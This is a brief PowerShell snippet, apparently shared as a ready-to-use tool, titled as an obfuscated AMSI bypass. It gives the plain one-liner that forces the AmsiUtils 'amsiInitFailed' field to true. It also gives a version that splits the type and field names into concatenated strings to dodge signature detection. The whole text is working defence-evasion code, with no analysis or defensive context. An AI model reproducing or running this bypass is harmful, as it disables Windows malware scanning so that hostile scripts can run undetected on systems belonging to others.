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Obfuscated AMSI bypass. [Ref].Assembly.GetType('System.Management.Automation.AmsiUtils').GetField('amsiInitFailed','NonPublic,Static').SetValue($null,$true)
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| # [Ref].Assembly.GetType('System.Management.Automation.AmsiUtils').GetField('amsiInitFailed','NonPublic,Static').SetValue($null,$true) | |
| # Create a reference to the assembly with further obfuscation | |
| $randomPart = 'A' + 'msi' + 'Utils' | |
| $ref = [Ref] | |
| $asm = $ref.Assembly | |
| $amsiType = $asm.GetType('System.' + 'Management.' + 'Automation.' + $randomPart) | |
| # Prepare the field name in a more obfuscated way | |
| $amsiFieldName = 'amsi' + 'Init' + 'Failed' | |
| $amsiField = $amsiType.GetField($amsiFieldName, 'NonPublic, Static') | |
| # Set the field value to bypass AMSI | |
| $amsiField.SetValue($null, $true) |
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